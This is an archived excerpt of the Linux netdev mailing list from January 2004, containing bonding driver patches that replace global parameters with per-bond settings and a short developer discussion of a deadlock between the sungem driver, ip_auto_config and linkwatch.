bond_mii_monitor(struct net_ slave_dev->name); /* notify ad that the link status has changed */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_handle_link_change(slave, BOND_LINK_DOWN); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_link_change(bond, slave, BOND_LINK_DOWN); } @@ -2157,10 +2162,10 @@ static void bond_mii_monitor(struct net_ slave->link = BOND_LINK_UP; slave->jiffies = jiffies; - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* prevent it from being the active one */ slave->state = BOND_STATE_BACKUP; - } else if (bond_mode != BOND_MODE_ACTIVEBACKUP) { + } else if (bond->params.mode != BOND_MODE_ACTIVEBACKUP) { /* make it immediately active */ slave->state = BOND_STATE_ACTIVE; } else if (slave != bond->primary_slave) { @@ -2175,12 +2180,12 @@ static void bond_mii_monitor(struct net_ slave_dev->name); /* notify ad that the link status has changed */ - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { bond_3ad_handle_link_change(slave, BOND_LINK_UP); } - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { bond_alb_handle_link_change(bond, slave, BOND_LINK_UP); } @@ -2202,7 +2207,7 @@ static void bond_mii_monitor(struct net_ bond_update_speed_duplex(slave); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { if (old_speed != slave->speed) { bond_3ad_adapter_speed_changed(slave); } @@ -2665,17 +2670,19 @@ static void bond_info_seq_stop(struct se read_unlock(&dev_base_lock); } -static void bond_info_show_master(struct seq_file *seq, struct bonding *bond) +static void bond_info_show_master(struct seq_file *seq) { + struct bonding *bond = seq->private; struct slave *curr; read_lock(&bond->curr_slave_lock); curr = bond->curr_active_slave; read_unlock(&bond->curr_slave_lock); - seq_printf(seq, "Bonding Mode: %s\n", bond_mode_name()); + seq_printf(seq, "Bonding Mode: %s\n", + bond_mode_name(bond->params.mode)); - if (USES_PRIMARY(bond_mode)) { + if (USES_PRIMARY(bond->params.mode)) { if (curr) { seq_printf(seq, "Currently Active Slave: %s\n", @@ -2688,7 +2695,7 @@ static void bond_info_show_master(struct seq_printf(seq, "Up Delay (ms): %d\n", updelay * miimon); seq_printf(seq, "Down Delay (ms): %d\n", downdelay * miimon); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { struct ad_info ad_info; seq_puts(seq, "\n802.3ad info\n"); @@ -2720,6 +2727,8 @@ static void bond_info_show_master(struct static void bond_info_show_slave(struct seq_file *seq, const struct slave *slave) { + struct bonding *bond = seq->private; + seq_printf(seq, "\nSlave Interface: %s\n", slave->dev->name); seq_printf(seq, "MII Status: %s\n", (slave->link == BOND_LINK_UP) ? "up" : "down"); @@ -2737,7 +2746,7 @@ static void bond_info_show_slave(struct slave->perm_hwaddr[5]); } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { const struct aggregator *agg = SLAVE_AD_INFO(slave).port.aggregator; @@ -2754,7 +2763,7 @@ static int bond_info_seq_show(struct seq { if (v == SEQ_START_TOKEN) { seq_printf(seq, "%s\n", version); - bond_info_show_master(seq, seq->private); + bond_info_show_master(seq); } else { bond_info_show_slave(seq, v); } @@ -3029,14 +3038,14 @@ static int bond_open(struct net_device * bond->kill_timers = 0; - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { struct timer_list *alb_timer = &(BOND_ALB_INFO(bond).alb_timer); /* bond_alb_initialize must be called before the timer * is started. */ - if (bond_alb_initialize(bond, (bond_mode == BOND_MODE_ALB))) { + if (bond_alb_initialize(bond, (bond->params.mode == BOND_MODE_ALB))) { /* something went wrong - fail the open operation */ return -1; } @@ -3060,7 +3069,7 @@ static int bond_open(struct net_device * init_timer(arp_timer); arp_timer->expires = jiffies + 1; arp_timer->data = (unsigned long)bond_dev; - if (bond_mode == BOND_MODE_ACTIVEBACKUP) { + if (bond->params.mode == BOND_MODE_ACTIVEBACKUP) { arp_timer->function = (void *)&bond_activebackup_arp_mon; } else { arp_timer->function = (void *)&bond_loadbalance_arp_mon; @@ -3068,7 +3077,7 @@ static int bond_open(struct net_device * add_timer(arp_timer); } - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { struct timer_list *ad_timer = &(BOND_AD_INFO(bond).ad_timer); init_timer(ad_timer); ad_timer->expires = jiffies + 1; @@ -3091,7 +3100,7 @@ static int bond_close(struct net_device bond_mc_list_destroy(bond); - if (bond_mode == BOND_MODE_8023AD) { + if (bond->params.mode == BOND_MODE_8023AD) { /* Unregister the receive of LACPDUs */ bond_unregister_lacpdu(bond); } @@ -3113,7 +3122,7 @@ static int bond_close(struct net_device del_timer_sync(&bond->arp_timer); } - switch (bond_mode) { + switch (bond->params.mode) { case BOND_MODE_8023AD: del_timer_sync(&(BOND_AD_INFO(bond).ad_timer)); break; @@ -3128,8 +3137,8 @@ static int bond_close(struct net_device /* Release the bonded slaves */ bond_release_all(bond_dev); - if ((bond_mode == BOND_MODE_TLB) || - (bond_mode == BOND_MODE_ALB)) { + if ((bond->params.mode == BOND_MODE_TLB) || + (bond->params.mode == BOND_MODE_ALB)) { /* Must be called only after all * slaves have been released */ @@ -3309,11 +3318,7 @@ static int bond_do_ioctl(struct net_devi break; case BOND_CHANGE_ACTIVE_OLD: case SIOCBONDCHANGEACTIVE: - if (USES_PRIMARY(bond_mode)) { - res = bond_ioctl_change_active(bond_dev, slave_dev); - } else { - res = -EINVAL; - } + res = bond_ioctl_change_active(bond_dev, slave_dev); break; default: res = -EOPNOTSUPP; @@ -3918,7 +3923,7 @@ static int bond_check_params(struct bond if (bond_mode != BOND_MODE_8023AD) { printk(KERN_INFO DRV_NAME ": lacp_rate param is irrelevant in mode %s\n", - bond_mode_name()); + bond_mode_name(bond_mode)); } else { lacp_fast = bond_parse_parm(lacp_rate, bond_lacp_tbl); if (lacp_fast == -1) { @@ -4119,7 +4124,7 @@ static int bond_check_params(struct bond printk(KERN_WARNING DRV_NAME ": Warning: %s primary device specified but has no " "effect in %s mode\n", - primary, bond_mode_name()); + primary, bond_mode_name(bond_mode)); primary = NULL; } From amir.noam@intel.com Mon Jan 5 07:30:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:30:42 -0800 (PST) Received: from hermes.iil.intel.com (hermes.iil.intel.com [192.198.152.99]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FUPTa023251 for ; Mon, 5 Jan 2004 07:30:26 -0800 Received: from petasus.iil.intel.com (petasus.iil.intel.com [143.185.77.3]) by hermes.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-outer.mc,v 1.6 2003/12/18 18:57:17 root Exp $) with ESMTP id i05FUBiI019422; Mon, 5 Jan 2004 15:30:11 GMT Received: from hasmsxvs01.iil.intel.com (hasmsxvs01.iil.intel.com [143.185.63.58]) by petasus.iil.intel.com (8.12.9-20030918-01/8.12.9/d: large-inner.mc,v 1.8 2003/12/18 18:57:16 root Exp $) with SMTP id i05FUBwi009055; Mon, 5 Jan 2004 15:30:11 GMT Received: from sun111.npdj.intel.com ([10.12.254.111]) by hasmsxvs01.iil.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010517301024387 ; Mon, 05 Jan 2004 17:30:10 +0200 Received: from jrslxjul4.npdj.intel.com (jrslxjul4 [10.12.220.54]) by sun111.npdj.intel.com (8.12.10/8.12.9/MailSET/Hub) with ESMTP id i05FUAhb001176; Mon, 5 Jan 2004 17:30:10 +0200 (IST) From: Amir Noam To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH 3/3] [bonding 2.6] Use the per-bond values of all remaining parameters Date: Mon, 5 Jan 2004 17:30:09 +0200 User-Agent: KMail/1.5.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200401051730.10816.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2220 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev Change usage of the all remaining global parameters to the per-bond values. diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Jan 5 17:17:39 2004 +++ b/drivers/net/bonding/bond_main.c Mon Jan 5 17:17:40 2004 @@ -458,6 +458,9 @@ * - Fixed: Releasing the original active slave causes mac address duplication. * - Add support for slaves that use ethtool_ops. * Set version to 2.5.3. + * + * 2004/01/05 - Amir Noam + * - Save bonding parameters per bond instead of using the global values. */ //#define BONDING_DEBUG 1 @@ -699,14 +702,14 @@ verify: * It'd be nice if there was a good way to tell if a driver supports * netif_carrier, but there really isn't. */ -static int bond_check_dev_link(struct net_device *slave_dev, int reporting) +static int bond_check_dev_link(struct bonding *bond, struct net_device *slave_dev, int reporting) { static int (* ioctl)(struct net_device *, struct ifreq *, int); struct ifreq ifr; struct mii_ioctl_data *mii; struct ethtool_value etool; - if (use_carrier) { + if (bond->params.use_carrier) { return netif_carrier_ok(slave_dev) ? BMSR_LSTATUS : 0; } @@ -994,7 +997,7 @@ static struct slave *bond_find_best_slav { struct slave *new_active, *old_active; struct slave *bestslave = NULL; - int mintime; + int mintime = bond->params.updelay; int i; new_active = old_active = bond->curr_active_slave; @@ -1007,15 +1010,13 @@ static struct slave *bond_find_best_slav } } - mintime = updelay; - /* first try the primary link; if arping, a link must tx/rx traffic * before it can be considered the curr_active_slave - also, we would skip * slaves between the curr_active_slave and primary_slave that may be up * and able to arp */ if ((bond->primary_slave) && - (!arp_interval) && + (!bond->params.arp_interval) && (IS_UP(bond->primary_slave->dev))) { new_active = bond->primary_slave; } @@ -1070,7 +1071,7 @@ static void bond_change_active_slave(str ": %s: making interface %s the new " "active one %d ms earlier.\n", bond->dev->name, new_active->dev->name, - (updelay - new_active->delay) * miimon); + (bond->params.updelay - new_active->delay) * bond->params.miimon); } new_active->delay = 0; @@ -1374,10 +1375,10 @@ static int bond_enslave(struct net_devic new_slave->delay = 0; new_slave->link_failure_count = 0; - if (miimon && !use_carrier) { - link_reporting = bond_check_dev_link(slave_dev, 1); + if (bond->params.miimon && !bond->params.use_carrier) { + link_reporting = bond_check_dev_link(bond, slave_dev, 1); - if ((link_reporting == -1) && !arp_interval) { + if ((link_reporting == -1) && !bond->params.arp_interval) { /* * miimon is set but a bonded network driver * does not support ETHTOOL/MII and @@ -1407,13 +1408,13 @@ static int bond_enslave(struct net_devic } /* check for initial state */ - if (!miimon || - (bond_check_dev_link(slave_dev, 0) == BMSR_LSTATUS)) { - if (updelay) { + if (!bond->params.miimon || + (bond_check_dev_link(bond, slave_dev, 0) == BMSR_LSTATUS)) { + if (bond->params.updelay) { dprintk("Initial state of slave_dev is " "BOND_LINK_BACK\n"); new_slave->link = BOND_LINK_BACK; - new_slave->delay = updelay; + new_slave->delay = bond->params.updelay; } else { dprintk("Initial state of slave_dev is " "BOND_LINK_UP\n"); @@ -1441,9 +1442,9 @@ static int bond_enslave(struct net_devic } } - if (USES_PRIMARY(bond->params.mode) && primary) { + if (USES_PRIMARY(bond->params.mode) && bond->params.primary[0]) { /* if there is a primary slave, remember it */ - if (strcmp(primary, new_slave->dev->name) == 0) { + if (strcmp(bond->params.primary, new_slave->dev->name) == 0) { bond->primary_slave = new_slave; } } @@ -1482,7 +1483,7 @@ static int bond_enslave(struct net_devic * can be called only after the mac address of the bond is set */ bond_3ad_initialize(bond, 1000/AD_TIMER_INTERVAL, - lacp_fast); + bond->params.lacp_fast); } else { SLAVE_AD_INFO(new_slave).id = SLAVE_AD_INFO(new_slave->prev).id + 1; @@ -1958,7 +1959,7 @@ static int bond_info_query(struct net_de struct bonding *bond = bond_dev->priv; info->bond_mode = bond->params.mode; - info->miimon = miimon; + info->miimon = bond->params.miimon; read_lock_bh(&bond->lock); info->num_slaves = bond->slave_cnt; @@ -2008,11 +2009,13 @@ static void bond_mii_monitor(struct net_ struct bonding *bond = bond_dev->priv; struct slave *slave, *oldcurrent; int do_failover = 0; - int delta_in_ticks = (miimon * HZ) / 1000; + int delta_in_ticks; int i; read_lock(&bond->lock); + delta_in_ticks = (bond->params.miimon * HZ) / 1000; + if (bond->kill_timers) { goto out; } @@ -2037,7 +2040,7 @@ static void bond_mii_monitor(struct net_ u16 old_speed = slave->speed; u8 old_duplex = slave->duplex; - link_state = bond_check_dev_link(slave_dev, 0); + link_state = bond_check_dev_link(bond, slave_dev, 0); switch (slave->link) { case BOND_LINK_UP: /* the link was up */ @@ -2046,13 +2049,13 @@ static void bond_mii_monitor(struct net_ break; } else { /* link going down */ slave->link = BOND_LINK_FAIL; - slave->delay = downdelay; + slave->delay = bond->params.downdelay; if (slave->link_failure_count < UINT_MAX) { slave->link_failure_count++; } - if (downdelay) { + if (bond->params.downdelay) { printk(KERN_INFO DRV_NAME ": %s: link status down for %s " "interface %s, disabling it in " @@ -2065,7 +2068,7 @@ static void bond_mii_monitor(struct net_ : "") : "idle ", slave_dev->name, - downdelay * miimon); + bond->params.downdelay * bond->params.miimon); } } /* no break ! fall through the BOND_LINK_FAIL test to @@ -2117,7 +2120,7 @@ static void bond_mii_monitor(struct net_ ": %s: link status up again after %d " "ms for interface %s.\n", bond_dev->name, - (downdelay - slave->delay) * miimon, + (bond->params.downdelay - slave->delay) * bond->params.miimon, slave_dev->name); } break; @@ -2127,9 +2130,9 @@ static void bond_mii_monitor(struct net_ break; } else { /* link going up */ slave->link = BOND_LINK_BACK; - slave->delay = updelay; + slave->delay = bond->params.updelay; - if (updelay) { + if (bond->params.updelay) { /* if updelay == 0, no need to advertise about a 0 ms delay */ printk(KERN_INFO DRV_NAME @@ -2138,7 +2141,7 @@ static void bond_mii_monitor(struct net_ "in %d ms.\n", bond_dev->name, slave_dev->name, - updelay * miimon); + bond->params.updelay * bond->params.miimon); } } /* no break ! fall through the BOND_LINK_BACK state in @@ -2153,7 +2156,7 @@ static void bond_mii_monitor(struct net_ ": %s: link status down again after %d " "ms for interface %s.\n", bond_dev->name, - (updelay - slave->delay) * miimon, + (bond->params.updelay - slave->delay) * bond->params.miimon, slave_dev->name); } else { /* link stays up */ @@ -2235,17 +2238,20 @@ static void bond_mii_monitor(struct net_ } re_arm: - mod_timer(&bond->mii_timer, jiffies + delta_in_ticks); + if (bond->params.miimon) { + mod_timer(&bond->mii_timer, jiffies + delta_in_ticks); + } out: read_unlock(&bond->lock); } -static void bond_arp_send_all(struct slave *slave) +static void bond_arp_send_all(struct bonding *bond, struct slave *slave) { int i; + u32 *targets = bond->params.arp_targets; - for (i = 0; (i < BOND_MAX_ARP_TARGETS) && arp_target[i]; i++) { - arp_send(ARPOP_REQUEST, ETH_P_ARP, arp_target[i], slave->dev, + for (i = 0; (i < BOND_MAX_ARP_TARGETS) && targets[i]; i++) { + arp_send(ARPOP_REQUEST, ETH_P_ARP, targets[i], slave->dev, my_ip, NULL, slave->dev->dev_addr, NULL); } @@ -2263,11 +2269,13 @@ static void bond_loadbalance_arp_mon(str struct bonding *bond = bond_dev->priv; struct slave *slave, *oldcurrent; int do_failover = 0; - int delta_in_ticks = (arp_interval * HZ) / 1000; + int delta_in_ticks; int i; read_lock(&bond->lock); + delta_in_ticks = (bond->params.arp_interval * HZ) / 1000; + if (bond->kill_timers) { goto out; } @@ -2352,7 +2360,7 @@ static void bond_loadbalance_arp_mon(str * to be unstable during low/no traffic periods */ if (IS_UP(slave->dev)) { - bond_arp_send_all(slave); + bond_arp_send_all(bond, slave); } } @@ -2372,7 +2380,9 @@ static void bond_loadbalance_arp_mon(str } re_arm: - mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + if (bond->params.arp_interval) { + mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + } out: read_unlock(&bond->lock); } @@ -2396,11 +2406,13 @@ static void bond_activebackup_arp_mon(st { struct bonding *bond = bond_dev->priv; struct slave *slave; - int delta_in_ticks = (arp_interval * HZ) / 1000; + int delta_in_ticks; int i; read_lock(&bond->lock); + delta_in_ticks = (bond->params.arp_interval * HZ) / 1000; + if (bond->kill_timers) { goto out; } @@ -2559,7 +2571,7 @@ static void bond_activebackup_arp_mon(st * rx traffic */ if (slave && my_ip) { - bond_arp_send_all(slave); + bond_arp_send_all(bond, slave); } } @@ -2580,7 +2592,7 @@ static void bond_activebackup_arp_mon(st if (IS_UP(slave->dev)) { slave->link = BOND_LINK_BACK; bond_set_slave_active_flags(slave); - bond_arp_send_all(slave); + bond_arp_send_all(bond, slave); slave->jiffies = jiffies; bond->current_arp_slave = slave; break; @@ -2612,7 +2624,9 @@ static void bond_activebackup_arp_mon(st } re_arm: - mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + if (bond->params.arp_interval) { + mod_timer(&bond->arp_timer, jiffies + delta_in_ticks); + } out: read_unlock(&bond->lock); } @@ -2683,22 +2697,27 @@ static void bond_info_show_master(struct bond_mode_name(bond->params.mode)); if (USES_PRIMARY(bond->params.mode)) { - if (curr) { - seq_printf(seq, - "Currently Active Slave: %s\n", - curr->dev->name); - } + seq_printf(seq, "Primary Slave: %s\n", + (bond->params.primary[0]) ? + bond->params.primary : "None"); + + seq_printf(seq, "Currently Active Slave: %s\n", + (curr) ? curr->dev->name : "None"); } seq_printf(seq, "MII Status: %s\n", (curr) ? "up" : "down"); - seq_printf(seq, "MII Polling Interval (ms): %d\n", miimon); - seq_printf(seq, "Up Delay (ms): %d\n", updelay * miimon); - seq_printf(seq, "Down Delay (ms): %d\n", downdelay * miimon); + seq_printf(seq, "MII Polling Interval (ms): %d\n", bond->params.miimon); + seq_printf(seq, "Up Delay (ms): %d\n", + bond->params.updelay * bond->params.miimon); + seq_printf(seq, "Down Delay (ms): %d\n", + bond->params.downdelay * bond->params.miimon); if (bond->params.mode == BOND_MODE_8023AD) { struct ad_info ad_info; seq_puts(seq, "\n802.3ad info\n"); + seq_printf(seq, "LACP rate: %s\n", + (bond->params.lacp_fast) ? "fast" : "slow"); if (bond_3ad_get_active_agg_info(bond, &ad_info)) { seq_printf(seq, "bond %s has no active aggregator\n", @@ -3057,7 +3076,7 @@ static int bond_open(struct net_device * add_timer(alb_timer); } - if (miimon) { /* link check interval, in milliseconds. */ + if (bond->params.miimon) { /* link check interval, in milliseconds. */ init_timer(mii_timer); mii_timer->expires = jiffies + 1; mii_timer->data = (unsigned long)bond_dev; @@ -3065,7 +3084,7 @@ static int bond_open(struct net_device * add_timer(mii_timer); } - if (arp_interval) { /* arp interval, in milliseconds. */ + if (bond->params.arp_interval) { /* arp interval, in milliseconds. */ init_timer(arp_timer); arp_timer->expires = jiffies + 1; arp_timer->data = (unsigned long)bond_dev; @@ -3114,11 +3133,11 @@ static int bond_close(struct net_device * because a running timer might be trying to hold it too */ - if (miimon) { /* link check interval, in milliseconds. */ + if (bond->params.miimon) { /* link check interval, in milliseconds. */ del_timer_sync(&bond->mii_timer); } - if (arp_interval) { /* arp interval, in milliseconds. */ + if (bond->params.arp_interval) { /* arp interval, in milliseconds. */ del_timer_sync(&bond->arp_timer); } @@ -3601,7 +3620,7 @@ static int bond_xmit_activebackup(struct /* if we are sending arp packets, try to at least identify our own ip address */ - if (arp_interval && !my_ip && + if (bond->params.arp_interval && !my_ip && (skb->protocol == __constant_htons(ETH_P_ARP))) { char *the_ip = (char *)skb->data + sizeof(struct ethhdr) + From srompf@isg.de Mon Jan 5 07:32:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 07:32:20 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05FVuTa024600 for ; Mon, 5 Jan 2004 07:31:57 -0800 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id 27A1EE49224; Mon, 5 Jan 2004 15:50:52 +0100 (CET) From: Stefan Rompf To: Michal Ostrowski , netdev@oss.sgi.com Subject: Re: Deadlock in sungem/ip_auto_config/linkwatch Date: Mon, 5 Jan 2004 15:50:50 +0100 User-Agent: KMail/1.5.94 References: <1073307882.2041.98320.camel@brick.watson.ibm.com> In-Reply-To: <1073307882.2041.98320.camel@brick.watson.ibm.com> MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <200401051550.51063.srompf@isg.de> X-archive-position: 2221 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev Am Montag, 05. Januar 2004 14:07 schrieb Michal Ostrowski: > ic_open_devs grabs rtnl_sem with an rtnl_shlock() call. > > The sungem driver at some point calls gem_init_one, which calls > netif_carrier_*, which in turn calls schedule_work (linkwatch_event). > > linkwatch_event in turn needs rtnl_sem. Good catch! The sungem driver shows clearly that we need some way to remove queued work without scheduling and waiting for other events. I will change the linkwatch code to use rtnl_shlock_nowait() and backoff and retry in case of failure this week. Call it a workaround, but it increases overall system stability. Btw, what is the planned difference between rtnl_shlock() and rtnl_exlock()? Even though the later is a null operation right now, I don't want to hold more locks than needed in the linkwatch code. Stefan -- "doesn't work" is not a magic word to explain everything. From mostrows@watson.ibm.com Mon Jan 5 08:19:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 08:19:41 -0800 (PST) Received: from brick.watson.ibm.com (yktgi01e0-s4.watson.ibm.com [129.34.20.23]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05GJQTa031239 for ; Mon, 5 Jan 2004 08:19:27 -0800 Received: by brick.watson.ibm.com (Postfix, from userid 9965) id 91C54BFA3; Mon, 5 Jan 2004 11:19:25 -0500 (EST) Subject: Re: Deadlock in sungem/ip_auto_config/linkwatch From: Michal Ostrowski To: Stefan Rompf Cc: netdev@oss.sgi.com In-Reply-To: <200401051550.51063.srompf@isg.de> References: <1073307882.2041.98320.camel@brick.watson.ibm.com> <200401051550.51063.srompf@isg.de> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-T7Vi+m2S37xHNyQWLC01" Message-Id: <1073319565.2043.98923.camel@brick.watson.ibm.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Mon, 05 Jan 2004 11:19:25 -0500 X-archive-position: 2222 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mostrows@watson.ibm.com Precedence: bulk X-list: netdev --=-T7Vi+m2S37xHNyQWLC01 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable This can get pretty hairy. Suppose the linkwatch code backs-off in the case that rtnl_sem is held legitimately by thread A. Meanwhile, thread B is doing a flush_scheduled_work in order to wait for pending linkwatch events to complete. =20 In the proposed solution this will result in incorrect behaviour (flush_scheduled_work returns with the linkwatch work not really done).=20 (Admittedly I'm not sure if such a scenario really is feasible.) My initial though was to use a seperate work-queue, un-entangled with the global queue used for flush_scheduled_work. This would allow linkwatch events to be synchronized against explicitly. For this solution though I think it would be nice to not have to have a thread per cpu for the linkwatch work queue. On the other hand, ic_open_devs appears to be the only place where rtnl_sem is held while going into a driver's open() function, and so maybe the right rule is that rtnl_sem is not held when calling dev->open(). --=20 Michal Ostrowski On Mon, 2004-01-05 at 09:50, Stefan Rompf wrote: > Am Montag, 05. Januar 2004 14:07 schrieb Michal Ostrowski: >=20 > > ic_open_devs grabs rtnl_sem with an rtnl_shlock() call. > > > > The sungem driver at some point calls gem_init_one, which calls > > netif_carrier_*, which in turn calls schedule_work (linkwatch_event). > > > > linkwatch_event in turn needs rtnl_sem. >=20 > Good catch! The sungem driver shows clearly that we need some way to remo= ve=20 > queued work without scheduling and waiting for other events. >=20 > I will change the linkwatch code to use rtnl_shlock_nowait() and backoff = and=20 > retry in case of failure this week. Call it a workaround, but it increase= s=20 > overall system stability. >=20 > Btw, what is the planned difference between rtnl_shlock() and rtnl_exlock= ()?=20 > Even though the later is a null operation right now, I don't want to hold= =20 > more locks than needed in the linkwatch code. >=20 > Stefan >=20 --=-T7Vi+m2S37xHNyQWLC01 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQA/+Y6MDMDCqU5zPMARAhzgAKCYfZQv5KwkiFbAsdhEoMaLk4ZgkwCdEclN kHFuP/wl7cmOAbijpPORTco= =+eos -----END PGP SIGNATURE----- --=-T7Vi+m2S37xHNyQWLC01-- From srompf@isg.de Mon Jan 5 09:29:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 05 Jan 2004 09:29:21 -0800 (PST) Received: from mail.isg.de (rzfoobar.is-asp.com [217.11.194.155]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i05HSvTa003296 for ; Mon, 5 Jan 2004 09:28:58 -0800 Received: from barkeeper.frankfurter-softwarefabrik.de (barkeeper.frankfurter-softwarefabrik.de [192.168.6.182]) by mail.isg.de (Postfix) with ESMTP id 866F8126644C; Mon, 5 Jan 2004 17:50:57 +0100 (CET) From: Stefan Rompf To: Michal Ostrowski Subject: Re: Deadlock in sungem/ip_auto_config/linkwatch Date: Mon, 5 Jan 2004 17:50:55 +0100 User-Agent: KMail/1.5.94 Cc: netdev@oss.sgi.com References: <1073307882.2041.98320.camel@brick.watson.ibm.com> <200401051550.51063.srompf@isg.de> <1073319565.2043.98923.camel@brick.watson.ibm.com> In-Reply-To: <1073319565.2043.98923.camel@brick.watson.ibm.com> MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/pkcs7-signature"; micalg=sha1; boundary="Boundary-02=_wXZ+/M91EO8KJ7L"; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <200401051750.56233.srompf@isg.de> X-archive-position: 2223 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: srompf@isg.de Precedence: bulk X-list: netdev --Boundary-02=_wXZ+/M91EO8KJ7L Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Am Montag, 05. Januar 2004 17:19 schrieb Michal Ostrowski: > Suppose the linkwatch code backs-off in the case that rtnl_sem is held > legitimately by thread A. Meanwhile, thread B is doing a > flush_scheduled_work in order to wait for pending linkwatch events to > complete. This won't happen. If a pending linkwatch event needs to be scheduled=20 synchronously (f.e. when a device is unregistered), it is executed in conte= xt=20 of the calling process, not inside the workqueue thread. > My initial though was to use a seperate work-queue, un-entangled with > the global queue used for flush_scheduled_work. This would allow > linkwatch events to be synchronized against explicitly. That's overkill, and if I understand flush_workqueue() right, it doesn't ca= re=20 about work that is queued with delay, so it even wouldn't help. That's why = I=20 thought about a function to unregister pending work. Stefan =2D-=20 "doesn't work" is not a magic word to explain everything. --Boundary-02=_wXZ+/M91EO8KJ7L Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Description: signature Content-Disposition: attachment; filename="smime.p7s" MIIGlwYJKoZIhvcNAQcCoIIGiDCCBoQCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCCBEAw ggQ8MIIDpaADAgECAgFHMA0GCSqGSIb3DQEBBAUAMIG+MQswCQYDVQQGEwJERTEPMA0GA1UECBMG SGVzc2VuMRowGAYDVQQHExFGcmFua2Z1cnQgYW0gTWFpbjEhMB8GA1UEChMYSW5ub3ZhdGl2ZSBT b2Z0d2FyZSBHbWJIMR8wHQYDVQQLExZOZXR3b3JrIEFkbWluaXN0cmF0aW9uMSIwIAYDVQQDExlJ U0cgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRowGAYJKoZIhvcNAQkBFgtpbmZvQGlzZy5kZTAeFw0w MDA2MDUxMjIyNDlaFw0xMDAzMDUxMjIyNDlaMIG6MQswCQYDVQQGEwJERTEPMA0GA1UECBMGSGVz c2VuMRowGAYDVQQHExFGcmFua2Z1cnQgYW0gTWFpbjEhMB8GA1UEChMYSW5ub3ZhdGl2ZSBTb2Z0 d2FyZSBHbWJIMR0wGwYDVQQLExRTb2Z0d2FyZSBEZXZlbG9wbWVudDEeMBwGA1UEAxMVU3RlZmFu IFJvbXBmIChJU0cgQ0EpMRwwGgYJKoZIhvcNAQkBFg1zcm9tcGZAaXNnLmRlMIGfMA0GCSqGSIb3 DQEBAQUAA4GNADCBiQKBgQDBTlj0vQ81p59aQUY3XX81RM0MrcLzq5l5VetfLQOS4aTmwk/32siO rXQxxTwODgmui/kLzSgRRYqFtDfelSWvsrtYR4VaH3I1u7YgcXWTx4oTt0RdiMvJ3/VgKmfpbpRN DlyuV7b8daC+0vpMKbhBJyt5716u9LHrMZZbw5n1gwIDAQABo4IBSjCCAUYwCQYDVR0TBAIwADAs 